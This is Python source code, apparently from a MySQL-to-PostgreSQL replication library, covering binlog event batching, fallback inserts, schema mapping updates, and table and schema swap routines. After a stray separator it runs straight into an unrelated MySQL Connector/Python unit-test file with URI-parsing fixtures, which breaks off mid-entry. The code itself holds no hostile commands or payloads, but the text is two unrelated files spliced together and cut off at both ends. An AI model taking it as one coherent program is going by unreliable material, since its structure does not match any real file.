insert_list.append(self.pgsql_cur.mogrify("%s,%s,%s,%s,%s,%s,%s,%s,%s" , (
global_data["batch_id"],
global_data["table"],
global_data["schema"],
global_data["action"],
global_data["binlog"],
global_data["logpos"],
json.dumps(event_after, cls=pg_encoder),
json.dumps(event_before, cls=pg_encoder),
global_data["event_time"],
)
)
)
csv_data=b"\n".join(insert_list ).decode()
csv_file.write(csv_data)
csv_file.seek(0)
try:
sql_copy=sql.SQL("""
COPY "sch_chameleon".{}
(
i_id_batch,
v_table_name,
v_schema_name,
enm_binlog_event,
t_binlog_name,
i_binlog_position,
jsb_event_after,
jsb_event_before,
i_my_event_time
)
FROM
STDIN
WITH NULL 'NULL'
CSV QUOTE ''''
DELIMITER ','
ESCAPE ''''
;
""").format(sql.Identifier(log_table))
self.pgsql_cur.copy_expert(sql_copy,csv_file)
except psycopg2.Error as e:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error("fallback to inserts")
self.insert_batch(group_insert)
self.set_application_name("idle")
def insert_batch(self,group_insert):
"""
Fallback method for the batch insert. Each row event is processed
individually and any problematic row is discarded into the table t_discarded_rows.
The row is encoded in base64 in order to prevent any encoding or type issue.
:param group_insert: the event data built in mysql_engine
"""
self.logger.debug("starting insert loop")
for row_data in group_insert:
global_data = row_data["global_data"]
event_after= row_data["event_after"]
event_before= row_data["event_before"]
log_table = global_data["log_table"]
event_time = global_data["event_time"]
sql_insert=sql.SQL("""
INSERT INTO sch_chameleon.{}
(
i_id_batch,
v_table_name,
v_schema_name,
enm_binlog_event,
t_binlog_name,
i_binlog_position,
jsb_event_after,
jsb_event_before,
i_my_event_time
)
VALUES
(
%s,
%s,
%s,
%s,
%s,
%s,
%s,
%s,
%s
)
;
""").format(sql.Identifier(log_table))
try:
self.pgsql_cur.execute(sql_insert,(
global_data["batch_id"],
global_data["table"],
global_data["schema"],
global_data["action"],
global_data["binlog"],
global_data["logpos"],
json.dumps(event_after, cls=pg_encoder),
json.dumps(event_before, cls=pg_encoder),
event_time
)
)
except psycopg2.Error as e:
if e.pgcode == "22P05":
self.logger.warning("%s - %s. Trying to cleanup the row" % (e.pgcode, e.pgerror))
for key, value in event_after.items():
if value:
event_after[key] = str(value).replace("\x00", "")
for key, value in event_before.items():
if value:
event_before[key] = str(value).replace("\x00", "")
#event_after = {key: str(value).replace("\x00", "") for key, value in event_after.items() if value}
#event_before = {key: str(value).replace("\x00", "") for key, value in event_before.items() if value}
try:
self.pgsql_cur.execute(sql_insert,(
global_data["batch_id"],
global_data["table"],
global_data["schema"],
global_data["action"],
global_data["binlog"],
global_data["logpos"],
json.dumps(event_after, cls=pg_encoder),
json.dumps(event_before, cls=pg_encoder),
event_time
)
)
except:
self.logger.error("Cleanup unsuccessful. Saving the discarded row")
self.save_discarded_row(row_data)
else:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error("Error when storing event data. Saving the discarded row")
self.save_discarded_row(row_data)
except:
self.logger.error("Error when storing event data. Saving the discarded row")
self.save_discarded_row(row_data)
def save_discarded_row(self,row_data):
"""
The method saves the discarded row in the table t_discarded_row along with the id_batch.
The row is encoded in base64 as the t_row_data is a text field.
:param row_data: the row data dictionary
"""
global_data = row_data["global_data"]
schema = global_data["schema"]
table = global_data["table"]
batch_id = global_data["batch_id"]
str_data = '%s' %(row_data, )
hex_row = binascii.hexlify(str_data.encode())
sql_save="""
INSERT INTO sch_chameleon.t_discarded_rows
(
i_id_batch,
v_schema_name,
v_table_name,
t_row_data
)
VALUES
(
%s,
%s,
%s,
%s
);
"""
self.pgsql_cur.execute(sql_save,(batch_id, schema, table,hex_row))
def create_table(self, table_metadata,table_name, schema, metadata_type):
"""
Executes the create table returned by __build_create_table (mysql or pgsql) on the destination_schema.
:param table_metadata: the column dictionary extracted from the source's information_schema or builty by the sql_parser class
:param table_name: the table name
:param destination_schema: the schema where the table belongs
:param metadata_type: the metadata type, currently supported mysql and pgsql
"""
if metadata_type == 'mysql':
table_ddl = self.__build_create_table_mysql( table_metadata,table_name, schema)
elif metadata_type == 'pgsql':
table_ddl = self.__build_create_table_pgsql( table_metadata,table_name, schema)
enum_ddl = table_ddl["enum"]
composite_ddl = table_ddl["composite"]
table_ddl = table_ddl["table"]
for enum_statement in enum_ddl:
self.pgsql_cur.execute(enum_statement)
for composite_statement in composite_ddl:
self.pgsql_cur.execute(composite_statement)
self.pgsql_cur.execute(table_ddl)
def update_schema_mappings(self):
"""
The method updates the schema mappings for the given source.
Before executing the updates the method checks for the need to run an update and for any
mapping already present in the replica catalogue.
If everything is fine the database connection is set autocommit=false.
The method updates the schemas in the table t_replica_tables and then updates the mappings in the
table t_sources. After the final update the commit is issued to make the updates permanent.
:todo: The method should run only at replica stopped for the given source. The method should also replay all the logged rows for the given source before updating the schema mappings to avoid to get an inconsistent replica.
"""
self.connect_db()
self.set_source_id()
self.replay_replica()
new_schema_mappings = self.sources[self.source]["schema_mappings"]
old_schema_mappings = self.get_schema_mappings()
if new_schema_mappings != old_schema_mappings:
duplicate_mappings = self.check_schema_mappings(True)
if not duplicate_mappings:
self.logger.debug("Updating schema mappings for source %s" % self.source)
self.set_autocommit_db(False)
for schema in old_schema_mappings:
old_mapping = old_schema_mappings[schema]
try:
new_mapping = new_schema_mappings[schema]
except KeyError:
new_mapping = None
if not new_mapping:
self.logger.debug("The mapping for schema %s has ben removed. Deleting the reference from the replica catalogue." % (schema))
sql_delete = """
DELETE FROM sch_chameleon.t_replica_tables
WHERE
i_id_source=%s
AND v_schema_name=%s
;
"""
self.pgsql_cur.execute(sql_delete, (self.i_id_source,old_mapping ))
elif old_mapping != new_mapping:
self.logger.debug("Updating mapping for schema %s. Old: %s. New: %s" % (schema, old_mapping, new_mapping))
sql_tables = """
UPDATE sch_chameleon.t_replica_tables
SET v_schema_name=%s
WHERE
i_id_source=%s
AND v_schema_name=%s
;
"""
self.pgsql_cur.execute(sql_tables, (new_mapping, self.i_id_source,old_mapping ))
sql_alter_schema = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(old_mapping), sql.Identifier(new_mapping))
self.pgsql_cur.execute(sql_alter_schema)
sql_source="""
UPDATE sch_chameleon.t_sources
SET
jsb_schema_mappings=%s
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_source, (json.dumps(new_schema_mappings), self.i_id_source))
self.pgsql_conn.commit()
self.set_autocommit_db(True)
else:
self.logger.error("Could update the schema mappings for source %s. There is a duplicate destination schema in other sources. The offending schema is %s." % (self.source, duplicate_mappings[1]))
else:
self.logger.debug("The configuration file and catalogue mappings for source %s are the same. Not updating." % self.source)
#print (self.i_id_source)
self.disconnect_db()
def get_schema_mappings(self):
"""
The method gets the schema mappings for the given source.
The list is the one stored in the table sch_chameleon.t_sources.
Any change in the configuration file is ignored
The method assumes there is a database connection active.
:return: the schema mappings extracted from the replica catalogue
:rtype: dictionary
"""
self.logger.debug("Collecting schema mappings for source %s" % self.source)
sql_get_schema = """
SELECT
jsb_schema_mappings
FROM
sch_chameleon.t_sources
WHERE
t_source=%s;
"""
self.pgsql_cur.execute(sql_get_schema, (self.source, ))
schema_mappings = self.pgsql_cur.fetchone()
return schema_mappings[0]
def set_source_status(self, source_status):
"""
The method updates the source status for the source_name and sets the class attribute i_id_source.
The method assumes there is a database connection active.
:param source_status: The source status to be set.
"""
sql_source = """
UPDATE sch_chameleon.t_sources
SET
enm_status=%s
WHERE
t_source=%s
RETURNING i_id_source
;
"""
self.pgsql_cur.execute(sql_source, (source_status, self.source, ))
source_data = self.pgsql_cur.fetchone()
try:
self.i_id_source = source_data[0]
except:
print("Source %s is not registered." % self.source)
sys.exit()
def set_source_id(self):
"""
The method sets the class attribute i_id_source for the self.source.
The method assumes there is a database connection active.
"""
sql_source = """
SELECT i_id_source FROM
sch_chameleon.t_sources
WHERE
t_source=%s
;
"""
self.pgsql_cur.execute(sql_source, ( self.source, ))
source_data = self.pgsql_cur.fetchone()
try:
self.i_id_source = source_data[0]
except:
print("Source %s is not registered." % self.source)
sys.exit()
def clean_batch_data(self):
"""
This method removes all the batch data for the source id stored in the class varible self.i_id_source.
The method assumes there is a database connection active.
"""
sql_cleanup = """
DELETE FROM sch_chameleon.t_replica_batch WHERE i_id_source=%s;
"""
self.pgsql_cur.execute(sql_cleanup, (self.i_id_source, ))
def get_replica_status(self):
"""
The method gets the replica status for the given source.
The method assumes there is a database connection active.
"""
self.set_source_id()
sql_status = """
SELECT
enm_status
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_status, (self.i_id_source, ))
replica_status = self.pgsql_cur.fetchone()
return replica_status[0]
def clean_not_processed_batches(self):
"""
The method cleans up the not processed batches rows from the table sch_chameleon.t_log_replica.
The method should be executed only before starting a replica process.
The method assumes there is a database connection active.
"""
self.set_source_id()
sql_log_tables = """
SELECT
unnest(v_log_table)
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_log_tables, (self.i_id_source, ))
log_tables = self.pgsql_cur.fetchall()
for log_table in log_tables:
sql_cleanup = sql.SQL("""
DELETE FROM sch_chameleon.{}
WHERE
i_id_batch IN (
SELECT
i_id_batch
FROM
sch_chameleon.t_replica_batch
WHERE
i_id_source=%s
AND NOT b_processed
)
;
""").format(sql.Identifier(log_table[0]))
self.logger.debug("Cleaning table %s" % log_table[0])
self.pgsql_cur.execute(sql_cleanup, (self.i_id_source, ))
def check_auto_maintenance(self):
"""
This method checks if the the maintenance for the given source is required.
The SQL compares the last maintenance stored in the replica catalogue with the NOW() function.
If the value is bigger than the configuration parameter auto_maintenance then it returns true.
Otherwise returns false.
:return: flag which tells if the maintenance should run or not
:rtype: boolean
"""
self.set_source_id()
sql_maintenance = """
SELECT
now()-coalesce(ts_last_maintenance,'1970-01-01 00:00:00'::timestamp)>%s::interval
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s;
"""
self.pgsql_cur.execute(sql_maintenance, (self.auto_maintenance, self.i_id_source, ))
maintenance = self.pgsql_cur.fetchone()
return maintenance[0]
def check_source_consistent(self):
"""
This method checks if the database is consistent using the source's high watermark and the
source's flab b_consistent.
If the batch data is larger than the source's high watermark then the source is marked consistent and
all the log data stored witth the source's tables are set to null in order to ensure all the tables are replicated.
"""
sql_check_consistent = """
WITH hwm AS
(
SELECT
split_part(t_binlog_name,'.',2)::integer as i_binlog_sequence,
i_binlog_position
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
AND not b_consistent
)
SELECT
CASE
WHEN bat.binlog_data[1]>hwm.i_binlog_sequence
THEN
True
WHEN bat.binlog_data[1]=hwm.i_binlog_sequence
AND bat.binlog_data[2]>=hwm.i_binlog_position
THEN
True
ELSE
False
END AS b_consistent
FROM
(
SELECT
max(
array[
split_part(t_binlog_name,'.',2)::integer,
i_binlog_position
]
) as binlog_data
FROM
sch_chameleon.t_replica_batch
WHERE
i_id_source=%s
AND b_started
AND b_processed
) bat,
hwm
;
"""
self.pgsql_cur.execute(sql_check_consistent, (self.i_id_source, self.i_id_source, ))
self.logger.debug("Checking consistent status for source: %s" %(self.source, ) )
source_consistent = self.pgsql_cur.fetchone()
if source_consistent:
if source_consistent[0]:
self.logger.info("The source: %s reached the consistent status" %(self.source, ) )
sql_set_source_consistent = """
UPDATE sch_chameleon.t_sources
SET
b_consistent=True,
t_binlog_name=NULL,
i_binlog_position=NULL
WHERE
i_id_source=%s
;
"""
sql_set_tables_consistent = """
UPDATE sch_chameleon.t_replica_tables
SET
t_binlog_name=NULL,
i_binlog_position=NULL
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_set_source_consistent, (self.i_id_source, ))
self.pgsql_cur.execute(sql_set_tables_consistent, (self.i_id_source, ))
else:
self.logger.debug("The source: %s is not consistent " %(self.source, ) )
else:
self.logger.debug("The source: %s is consistent" %(self.source, ) )
def set_source_highwatermark(self, master_status, consistent):
"""
This method saves the master data within the source.
The values are used to determine whether the database has reached the consistent point.
:param master_status: the master data with the binlogfile and the log position
"""
master_data = master_status[0]
binlog_name = master_data["File"]
binlog_position = master_data["Position"]
sql_set = """
UPDATE sch_chameleon.t_sources
SET
b_consistent=%s,
t_binlog_name=%s,
i_binlog_position=%s
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_set, (consistent, binlog_name, binlog_position, self.i_id_source, ))
self.logger.info("Set high watermark for source: %s" %(self.source, ) )
def save_master_status(self, master_status):
"""
This method saves the master data determining which log table should be used in the next batch.
The method assumes there is a database connection active.
:param master_status: the master data with the binlogfile and the log position
:return: the batch id or none if no batch has been created
:rtype: integer
"""
next_batch_id = None
master_data = master_status[0]
binlog_name = master_data["File"]
binlog_position = master_data["Position"]
log_table = self.swap_source_log_table()
if "Executed_Gtid_Set" in master_data:
executed_gtid_set = master_data["Executed_Gtid_Set"]
else:
executed_gtid_set = None
try:
event_time = master_data["Time"]
except:
event_time = None
sql_master = """
INSERT INTO sch_chameleon.t_replica_batch
(
i_id_source,
t_binlog_name,
i_binlog_position,
t_gtid_set,
v_log_table
)
VALUES
(
%s,
%s,
%s,
%s,
%s
)
RETURNING i_id_batch
;
"""
sql_last_update = """
UPDATE
sch_chameleon.t_last_received
SET
ts_last_received=to_timestamp(%s)
WHERE
i_id_source=%s
RETURNING ts_last_received
;
"""
try:
self.pgsql_cur.execute(sql_master, (self.i_id_source, binlog_name, binlog_position, executed_gtid_set, log_table))
results =self.pgsql_cur.fetchone()
next_batch_id=results[0]
self.pgsql_cur.execute(sql_last_update, (event_time, self.i_id_source, ))
results = self.pgsql_cur.fetchone()
db_event_time = results[0]
self.logger.info("Saved master data for source: %s" %(self.source, ) )
self.logger.debug("Binlog file: %s" % (binlog_name, ))
self.logger.debug("Binlog position:%s" % (binlog_position, ))
self.logger.debug("Last event: %s" % (db_event_time, ))
self.logger.debug("Next log table name: %s" % ( log_table, ))
except psycopg2.Error as e:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error(self.pgsql_cur.mogrify(sql_master, (self.i_id_source, binlog_name, binlog_position, executed_gtid_set, log_table)))
return next_batch_id
def reindex_table(self, schema, table):
"""
The method run a REINDEX TABLE on the table defined by schema and name.
:param schema: the table's schema
:param table: the table's name
"""
sql_truncate = sql.SQL("REINDEX TABLE {}.{} ;").format(sql.Identifier(schema), sql.Identifier(table))
self.pgsql_cur.execute(sql_truncate)
def truncate_table(self, schema, table):
"""
The method truncates the table defined by schema and name.
The truncate is executed with the CASCADE clause in order to ensure the truncate always succeds even
if foreign keys are enforced.
:param schema: the table's schema
:param table: the table's name
"""
sql_truncate = sql.SQL("TRUNCATE TABLE {}.{} CASCADE;").format(sql.Identifier(schema), sql.Identifier(table))
self.pgsql_cur.execute(sql_truncate)
def store_table(self, schema, table, table_pkey, master_status):
"""
The method saves the table name along with the primary key definition in the table t_replica_tables.
This is required in order to let the replay procedure which primary key to use replaying the update and delete.
If the table is without primary key is not stored.
A table without primary key is copied and the indices are create like any other table.
However the replica doesn't work for the tables without primary key.
If the class variable master status is set then the master's coordinates are saved along with the table.
This happens in general when a table is added to the replica or the data is refreshed with sync_tables.
:param schema: the schema name to store in the table t_replica_tables
:param table: the table name to store in the table t_replica_tables
:param table_pkey: a list with the primary key's columns. empty if there's no pkey
:param master_status: the master status data .
"""
if master_status:
master_data = master_status[0]
binlog_file = master_data["File"]
binlog_pos = master_data["Position"]
else:
binlog_file = None
binlog_pos = None
if len(table_pkey) > 0:
sql_insert = """
INSERT INTO sch_chameleon.t_replica_tables
(
i_id_source,
v_table_name,
v_schema_name,
v_table_pkey,
t_binlog_name,
i_binlog_position
)
VALUES
(
%s,
%s,
%s,
%s,
%s,
%s
)
ON CONFLICT (i_id_source,v_table_name,v_schema_name)
DO UPDATE
SET
v_table_pkey=EXCLUDED.v_table_pkey,
t_binlog_name = EXCLUDED.t_binlog_name,
i_binlog_position = EXCLUDED.i_binlog_position,
b_replica_enabled = True
;
"""
self.pgsql_cur.execute(sql_insert, (
self.i_id_source,
table,
schema,
table_pkey,
binlog_file,
binlog_pos
)
)
else:
self.logger.warning("Missing primary key. The table %s.%s will not be replicated." % (schema, table,))
self.unregister_table(schema, table)
def copy_data(self, csv_file, schema, table, column_list):
"""
The method copy the data into postgresql using psycopg2's copy_expert.
The csv_file is a file like object which can be either a csv file or a string io object, accordingly with the
configuration parameter copy_mode.
The method assumes there is a database connection active.
:param csv_file: file like object with the table's data stored in CSV format
:param schema: the schema used in the COPY FROM command
:param table: the table name used in the COPY FROM command
:param column_list: A string with the list of columns to use in the COPY FROM command already quoted and comma separated
"""
sql_copy='COPY "%s"."%s" (%s) FROM STDIN WITH NULL \'NULL\' CSV QUOTE \'"\' DELIMITER \',\' ESCAPE \'"\' ; ' % (schema, table, column_list)
self.pgsql_cur.copy_expert(sql_copy,csv_file)
def insert_data(self, schema, table, insert_data , column_list):
"""
The method is a fallback procedure for when the copy method fails.
The procedure performs a row by row insert, very slow but capable to skip the rows with problematic data (e.g. encoding issues).
:param schema: the schema name where table belongs
:param table: the table name where the data should be inserted
:param insert_data: a list of records extracted from the database using the unbuffered cursor
:param column_list: the list of column names quoted for the inserts
"""
sample_row = insert_data[0]
column_marker=','.join(['%s' for column in sample_row])
sql_head='INSERT INTO "%s"."%s"(%s) VALUES (%s);' % (schema, table, column_list, column_marker)
for data_row in insert_data:
try:
self.pgsql_cur.execute(sql_head,data_row)
except psycopg2.Error as e:
self.logger.error("SQLCODE: %s SQLERROR: %s" % (e.pgcode, e.pgerror))
self.logger.error(self.pgsql_cur.mogrify(sql_head,data_row))
except ValueError:
self.logger.warning("character mismatch when inserting the data, trying to cleanup the row data")
cleanup_data_row = []
for item in data_row:
if item:
cleanup_data_row.append(str(item).replace("\x00", ""))
else:
cleanup_data_row.append(item)
data_row = cleanup_data_row
try:
self.pgsql_cur.execute(sql_head,data_row)
except:
self.logger.error("error when inserting the row, skipping the row")
except:
self.logger.error("unexpected error when processing the row")
self.logger.error(" - > Table: %s.%s" % (schema, table))
def get_existing_pkey(self,schema,table):
"""
The method gets the primary key of an existing table and returns the field(s)
composing the PKEY as a list.
:param schema: the schema name where table belongs
:param table: the table name where the data should be inserted
:return: a list with the eventual column(s) used as primary key
:rtype: list
"""
sql_get_pkey = """
SELECT
array_agg(att.attname)
FROM
(
SELECT
tab.oid AS taboid,
tab.relname AS table_name,
sch.nspname AS schema_name,
UNNEST(con.conkey) AS conkey
FROM
pg_class tab
INNER JOIN pg_constraint con
ON tab.oid=con.conrelid
INNER JOIN pg_catalog.pg_namespace sch
ON tab.relnamespace = sch.oid
WHERE
con.contype='p'
AND sch.nspname=%s
AND tab.relname=%s
) con
INNER JOIN pg_catalog.pg_attribute att
ON
con.taboid=att.attrelid
AND con.conkey=att.attnum
;
"""
self.pgsql_cur.execute(sql_get_pkey,(schema,table))
pkey_col = self.pgsql_cur.fetchone()
return pkey_col[0]
def create_indices(self, schema, table, index_data):
"""
The method loops odver the list index_data and creates the indices on the table
specified with schema and table parameters.
The method assumes there is a database connection active.
:param schema: the schema name where table belongs
:param table: the table name where the data should be inserted
:param index_data: a list of dictionaries with the index metadata for the given table.
:return: a list with the eventual column(s) used as primary key
:rtype: list
"""
idx_ddl = {}
table_primary = []
for index in index_data:
table_timestamp = str(int(time.time()))
indx = index["index_name"]
self.logger.debug("Building DDL for index %s" % (indx))
idx_col = [column.strip() for column in index["index_columns"].split(',')]
index_columns = ['"%s"' % column.strip() for column in idx_col]
non_unique = index["non_unique"]
if indx =='PRIMARY':
pkey_name = "pk_%s_%s_%s " % (table[0:10],table_timestamp, self.idx_sequence)
pkey_def = 'ALTER TABLE "%s"."%s" ADD CONSTRAINT "%s" PRIMARY KEY (%s) ;' % (schema, table, pkey_name, ','.join(index_columns))
idx_ddl[pkey_name] = pkey_def
table_primary = idx_col
else:
if non_unique == 0:
unique_key = 'UNIQUE'
if table_primary == []:
table_primary = idx_col
else:
unique_key = ''
index_name='idx_%s_%s_%s_%s' % (indx[0:10], table[0:10], table_timestamp, self.idx_sequence)
idx_def='CREATE %s INDEX "%s" ON "%s"."%s" (%s);' % (unique_key, index_name, schema, table, ','.join(index_columns) )
idx_ddl[index_name] = idx_def
self.idx_sequence+=1
for index in idx_ddl:
self.logger.info("Building index %s on %s.%s" % (index, schema, table))
self.pgsql_cur.execute(idx_ddl[index])
return table_primary
def swap_schemas(self):
"""
The method loops over the schema_loading class dictionary and
swaps the loading with the destination schemas performing a double rename.
The method assumes there is a database connection active.
"""
for schema in self.schema_loading:
self.set_autocommit_db(False)
schema_loading = self.schema_loading[schema]["loading"]
schema_destination = self.schema_loading[schema]["destination"]
schema_temporary = "_rename_%s" % self.schema_loading[schema]["destination"]
sql_dest_to_tmp = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(schema_destination), sql.Identifier(schema_temporary))
sql_load_to_dest = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(schema_loading), sql.Identifier(schema_destination))
sql_tmp_to_load = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(schema_temporary), sql.Identifier(schema_loading))
self.logger.info("Swapping schema %s with %s" % (schema_destination, schema_loading))
self.logger.debug("Renaming schema %s in %s" % (schema_destination, schema_temporary))
self.pgsql_cur.execute(sql_dest_to_tmp)
self.logger.debug("Renaming schema %s in %s" % (schema_loading, schema_destination))
self.pgsql_cur.execute(sql_load_to_dest)
self.logger.debug("Renaming schema %s in %s" % (schema_temporary, schema_loading))
self.pgsql_cur.execute(sql_tmp_to_load)
self.logger.debug("Commit the swap transaction" )
self.pgsql_conn.commit()
self.set_autocommit_db(True)
def set_batch_processed(self, id_batch):
"""
The method updates the flag b_processed and sets the processed timestamp for the given batch id.
The event ids are aggregated into the table t_batch_events used by the replay function.
:param id_batch: the id batch to set as processed
"""
self.logger.debug("updating batch %s to processed" % (id_batch, ))
sql_update="""
UPDATE sch_chameleon.t_replica_batch
SET
b_processed=True,
ts_processed=now()
WHERE
i_id_batch=%s
;
"""
self.pgsql_cur.execute(sql_update, (id_batch, ))
self.logger.debug("collecting events id for batch %s " % (id_batch, ))
sql_collect_events = """
INSERT INTO
sch_chameleon.t_batch_events
(
i_id_batch,
i_id_event
)
SELECT
i_id_batch,
array_agg(i_id_event)
FROM
(
SELECT
i_id_batch,
i_id_event,
ts_event_datetime
FROM
sch_chameleon.t_log_replica
WHERE i_id_batch=%s
ORDER BY ts_event_datetime
) t_event
GROUP BY
i_id_batch
;
"""
self.pgsql_cur.execute(sql_collect_events, (id_batch, ))
def __swap_enums(self):
"""
The method searches for enumerations in the loading schemas and swaps them with the types eventually
present in the destination schemas
"""
sql_get_enum = """
SELECT
typname
FROM
pg_type typ
INNER JOIN pg_namespace sch
ON
typ.typnamespace=sch.oid
WHERE
sch.nspname=%s
and typcategory='E'
;
"""
for schema in self.schema_tables:
schema_loading = self.schema_loading[schema]["loading"]
schema_destination = self.schema_loading[schema]["destination"]
self.pgsql_cur.execute(sql_get_enum, (schema_loading,))
enum_list = self.pgsql_cur.fetchall()
for enumeration in enum_list:
type_name = enumeration[0]
sql_drop_origin = sql.SQL("DROP TYPE IF EXISTS {}.{} CASCADE;").format(sql.Identifier(schema_destination),sql.Identifier(type_name))
sql_set_schema_new = sql.SQL("ALTER TYPE {}.{} SET SCHEMA {};").format(sql.Identifier(schema_loading),sql.Identifier(type_name), sql.Identifier(schema_destination))
self.logger.debug("Dropping the original tpye %s.%s " % (schema_destination, type_name))
self.pgsql_cur.execute(sql_drop_origin)
self.logger.debug("Changing the schema for type %s.%s to %s" % (schema_loading, type_name, schema_destination))
self.pgsql_cur.execute(sql_set_schema_new)
def swap_tables(self):
"""
The method loops over the tables stored in the class
"""
self.set_autocommit_db(False)
for schema in self.schema_tables:
schema_loading = self.schema_loading[schema]["loading"]
schema_destination = self.schema_loading[schema]["destination"]
for table in self.schema_tables[schema]:
self.logger.info("Swapping table %s.%s with %s.%s" % (schema_destination, table, schema_loading, table))
sql_drop_origin = sql.SQL("DROP TABLE IF EXISTS {}.{} ;").format(sql.Identifier(schema_destination),sql.Identifier(table))
sql_set_schema_new = sql.SQL("ALTER TABLE {}.{} SET SCHEMA {};").format(sql.Identifier(schema_loading),sql.Identifier(table), sql.Identifier(schema_destination))
self.logger.debug("Dropping the original table %s.%s " % (schema_destination, table))
self.pgsql_cur.execute(sql_drop_origin)
self.logger.debug("Changing the schema for table %s.%s to %s" % (schema_loading, table, schema_destination))
self.pgsql_cur.execute(sql_set_schema_new)
self.pgsql_conn.commit()
self.set_autocommit_db(True)
self.__swap_enums()
def create_database_schema(self, schema_name):
"""
The method creates a database schema.
The create schema is issued with the clause IF NOT EXISTS.
Should the schema be already present the create is skipped.
:param schema_name: The schema name to be created.
"""
sql_create = sql.SQL("CREATE SCHEMA IF NOT EXISTS {};").format(sql.Identifier(schema_name))
self.pgsql_cur.execute(sql_create)
def drop_database_schema(self, schema_name, cascade):
"""
The method drops a database schema.
The drop can be either schema is issued with the clause IF NOT EXISTS.
Should the schema be already present the create is skipped.
:param schema_name: The schema name to be created.
:param schema_name: If true the schema is dropped with the clause cascade.
"""
if cascade:
cascade_clause = "CASCADE"
else:
cascade_clause = ""
sql_drop = "DROP SCHEMA IF EXISTS {} %s;" % cascade_clause
sql_drop = sql.SQL(sql_drop).format(sql.Identifier(schema_name))
self.set_lock_timeout()
try:
self.pgsql_cur.execute(sql_drop)
except:
self.logger.error("could not drop the schema %s. You will need to drop it manually." % schema_name)
|
test_mysqlx_connection.py | # -*- coding: utf-8 -*-
# Copyright (c) 2016, 2019, Oracle and/or its affiliates. All rights reserved.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License, version 2.0, as
# published by the Free Software Foundation.
#
# This program is also distributed with certain software (including
# but not limited to OpenSSL) that is licensed under separate terms,
# as designated in a particular file or component or in included license
# documentation. The authors of MySQL hereby grant you an
# additional permission to link the program and your derivative works
# with the separately licensed software that they have included with
# MySQL.
#
# Without limiting anything contained in the foregoing, this file,
# which is part of MySQL Connector/Python, is also subject to the
# Universal FOSS Exception, version 1.0, a copy of which can be found at
# http://oss.oracle.com/licenses/universal-foss-exception.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# See the GNU General Public License, version 2.0, for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""Unittests for mysqlx.connection
"""
import logging
import os
import platform
import unittest
import sys
import tests
import time
import socket
import struct
import mysqlx
from threading import Thread
from time import sleep
from mysqlx.connection import SocketStream
from mysqlx.compat import STRING_TYPES
from mysqlx.errors import InterfaceError, OperationalError, ProgrammingError
from mysqlx.protocol import Message, MessageReaderWriter, Protocol
from mysqlx.protobuf import HAVE_MYSQLXPB_CEXT, mysqlxpb_enum, Protobuf
from mysql.connector.version import VERSION, LICENSE
if mysqlx.compat.PY3:
from urllib.parse import quote_plus, quote
else:
from urllib import quote_plus, quote
from .test_mysqlx_crud import drop_table
LOGGER = logging.getLogger(tests.LOGGER_NAME)
_URI_TEST_RESULTS = ( # (uri, result)
("127.0.0.1", None),
("localhost", None),
("domain.com", None),
("user:password@127.0.0.1", {"schema": "", "host": "127.0.0.1",
"password": "password", "port": 33060,
"user": "user"}),
("user:password@127.0.0.1:33061", {"schema": "", "host": "127.0.0.1",
"password": "password", "port": 33061,
"user": "user"}),
("user:@127.0.0.1", {"schema": "", "host": "127.0.0.1", "password": "",
"port": 33060, "user": "user"}),
("user:@127.0.0.1/schema", {"schema": "schema", "host": "127.0.0.1",
"password": "", "port": 33060,
"user": "user"}),
("user:@127.0.0.1/schema?use_pure=true", {"schema": "schema",
"host": "127.0.0.1",
"password": "", "port": 33060,
"user": "user",
"use-pure": True}),
("user{0}:password{0}@127.0.0.1/schema?use_pure=true"
"".format(quote("?!@#$%/:")), {"schema": "schema", "host": "127.0.0.1",
"port": 33060, "user": "user?!@#$%/:",
"password": "password?!@#$%/:",
"use-pure": True}),
("mysqlx://user:@127.0.0.1", {"schema": "", "host": "127.0.0.1",
"password": "", "port": 33060,
"user": "user"}),
("mysqlx://user:@127.0.0.1:33060/schema",
{"schema": "schema", "host": "127.0.0.1", "password": "", "port": 33060,
"user": "user"}),
("mysqlx://user@[2001:db8:85a3:8d3:1319:8a2e:370:7348]:1", None),
("mysqlx://user:password@[2001:db8:85a3:8d3:1319:8a2e:370:7348]:1",
{"schema": "", "host": "2001:db8:85a3:8d3:1319:8a2e:370:7348",
"password": "password", "port": 1, "user": "user"}),
("mysqlx://user:password@[2001:db8:85a3:8d3:1319:8a2e:370:7348]:1/schema",
{"schema": "schema", "host": "2001:db8:85a3:8d3:1319:8a2e:370:7348",
"password": "password", "port": 1, "user": "user"}),
("áé'í'óú:unicode@127.0.0.1",
{"schema": "", "host": "127.0.0.1", "password": "unicode",
"port": 33060, "user": "áé'í'óú"}),
("unicode:áé'í'óú@127.0.0.1",
{"schema": "", "host": "127.0.0.1", "password": "áé'í'óú",
"port": 33060, "user": "unicode"}),
("root:@[localhost, 127.0.0.1:88, [::]:99, [a1:b1::]]",
{"routers": [{"host": "localhost", "port": 33060},
{"host": "127.0.0.1", "port": 88},
{"host": "::", "port": 99},
{"host": "a1:b1::", "port": 33060}],
"user": "root", "password": "", "schema": ""}),
("root:@[a1:a2:a3:a4:a5:a6:a7:a8]]",
{"host": "a1:a2:a3:a4:a5:a6:a7:a8", "schema": "",
